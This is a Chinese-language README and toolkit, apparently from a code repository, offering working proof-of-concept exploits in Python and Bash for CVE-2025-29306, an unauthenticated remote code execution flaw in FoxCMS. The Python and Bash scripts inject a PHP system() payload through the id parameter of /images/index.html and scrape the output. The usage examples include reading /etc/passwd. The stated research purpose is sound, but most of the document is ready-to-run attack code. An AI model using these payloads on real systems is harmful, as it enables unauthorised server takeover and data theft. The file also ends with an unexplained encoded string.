项目标题与描述
本项目是针对 CVE-2025-29306 安全漏洞的概念验证(PoC)工具集。该漏洞影响 FoxCMS v1.2.5 及更早版本,允许攻击者通过 /images/index.html 端点中的 id 参数,利用 PHP 反序列化漏洞实现远程代码执行(RCE),无需任何身份验证即可在目标系统上执行任意命令。
项目包含两个独立的漏洞利用脚本:一个用 Python 编写,另一个用 Bash 编写,均能有效验证目标系统是否存在该高危漏洞。
功能特性
- 无认证远程代码执行:无需任何登录凭证即可在目标服务器上执行系统命令。
- 双语言实现:提供 Python 和 Bash 两种脚本,适应不同渗透测试环境。
- 精确输出解析:利用 XPath 定位 HTML 响应中的命令输出结果,提高结果准确性。
- 简单易用:只需提供目标 URL 和待执行的命令即可进行漏洞验证。
- 安全研究用途:专为安全研究人员、渗透测试人员和系统管理员设计,用于评估和防御该漏洞。
安装指南
Python 版本要求
系统要求:
- Python 3.6 或更高版本
- Linux/macOS/Windows(支持 Bash 的环境)
安装步骤:
- 克隆或下载本工具集到本地:
bash
git clone <repository-url>
cd foxcms-rce-poc
- 安装必要的 Python 依赖:
bash
pip install requests lxml
- (可选)为 Bash 版本安装必要的系统工具:
bash
# 对于 Ubuntu/Debian
sudo apt-get install curl xmllint python3
# 对于 CentOS/RHEL
sudo yum install curl libxml2 python3
依赖项:
- Python 版本:
requests、lxml - Bash 版本:
curl、xmllint、python3
使用说明
Python 版本使用示例
bash
# 基本用法
python3 CVE-2025-29306.py <目标URL> "<命令>"
# 实际示例:检测系统信息
python3 CVE-2025-29306.py http://example.com "id; uname -a"
# 实际示例:列出目录内容
python3 CVE-2025-29306.py http://vulnerable-site.com "ls -la /var/www"
Bash 版本使用示例
bash
# 基本用法
./CVE-2025-29306.sh <目标URL> "<命令>"
# 实际示例
./CVE-2025-29306.sh http://example.com "cat /etc/passwd"
API 概览
两个工具都接受相同的参数格式:
- 目标URL :存在漏洞的 FoxCMS 实例地址(如
http://192.168.1.100) - 命令 :要在目标系统上执行的系统命令(如
"whoami")
执行流程:
- 工具将命令嵌入 PHP 反序列化载荷
- 发送特制请求到
/images/index.html端点 - 解析响应并提取命令执行结果
- 显示输出并报告漏洞状态
核心代码
Python 版本核心代码
python
#!/usr/bin/env python3
"""
PoC for CVE-2025-29306: Unauthenticated RCE in FoxCMS v1.2.5
Unsafe deserialization of 'id' param in /images/index.html leading to arbitrary command execution.
Usage: python3 CVE-2025-29306.py <target_url> <command>
Example: python3 CVE-2025-29306.py http://example.com "id; uname -a"
Dependencies: requests, lxml
"""
import sys
import requests
from urllib.parse import quote
from lxml import html
def exploit(target_url, command):
# 构造PHP载荷:${@print_r(@system("COMMAND"))} - 通过unserialize反序列化执行
payload = f"${{@print_r(@system('{command}'))}}"
encoded_payload = quote(payload, safe='')
# 易受攻击的端点
url = f"{target_url.rstrip('/')}/images/index.html?id={encoded_payload}"
print(f"[*] Targeting: {url}")
print(f"[*] Executing command: {command}")
try:
# 发送GET请求(无需认证)
response = requests.get(url, timeout=10, verify=False)
if response.status_code != 200:
print(f"[-] Unexpected status code: {response.status_code}")
return False
# 解析HTML响应;根据漏洞详情输出反映在<header>下的<ul>中
tree = html.fromstring(response.content)
ul_elements = tree.xpath('/html/body/header/div[1]/div[2]/div[1]/ul/text()')
if not ul_elements:
print("[-] No output found in expected XPath. Target may not be vulnerable or output hidden.")
return False
# 清理并提取输出(去除标签/空白)
output = ' '.join([elem.strip() for elem in ul_elements if elem.strip()])
if output:
print(f"[+] SUCCESS! Command Output:\n{output}")
return True
else:
print("[-] Command executed but no output captured.")
return True # 如果响应被处理,仍然易受攻击
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
except Exception as e:
print(f"[-] Parsing error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: %s <target_url> <command>" % sys.argv[0])
sys.exit(1)
target = sys.argv[1]
cmd = sys.argv[2]
if exploit(target, cmd):
print("[+] Target is VULNERABLE to CVE-2025-29306!")
else:
print("[-] Exploit failed or target not vulnerable.")
sys.exit(0)
Bash 版本核心代码
bash
#!/bin/bash
banner() {
cat <<'EOF'
██████╗ ██╗ █████╗ ██████╗ ██╗ ██╗ █████╗ ███████╗ ██╗ ██╗
██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║ ██║
██████╔╝ ██║ ███████║ ██║ █████╔╝ ███████║ ███████╗ ███████║
██╔══██╗ ██║ ██╔══██║ ██║ ██╔═██╗ ██╔══██║ ╚════██║ ██╔══██║
██████╔╝ ███████╗ ██║ ██║ ╚██████╗ ██║ ██╗ ██║ ██║ ███████║ ██║ ██║
╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝
FoxCMS Remote Code Execution (CVE-2025-29306)
EOF
}
# 调用横幅函数
banner
set -e
# 检查参数数量是否正确
if [ "$#" -ne 2 ]; then
printf "Usage: $0 <url> <command>"
exit 1
fi
TARGET=$1
# 编码载荷
ENCODED_CMD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('\${@print_r(@system(\"$2\"))}'))")
FULL_URL="${TARGET}?id=${ENCODED_CMD}"
echo "[*] Sending RCE payload: $2"
HTML=$(curl -s "$FULL_URL")
# 使用xmllint从已知XPath位置提取<ul>内容
UL_CONTENT=$(echo "$HTML" | xmllint --html --xpath "/html/body/header/div[1]/div[2]/div[1]/ul" - 2>/dev/null)
# 去除标签,清理输出
CLEANED=$(echo "$UL_CONTENT" | sed 's/<[^>]*>//g' | sed '/^$/d' | sed 's/^[[:space:]]*//')
echo
echo "[+] Command Output:"
echo "$CLEANED"
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANCl1LoX+DdxvlKlOyiHl/4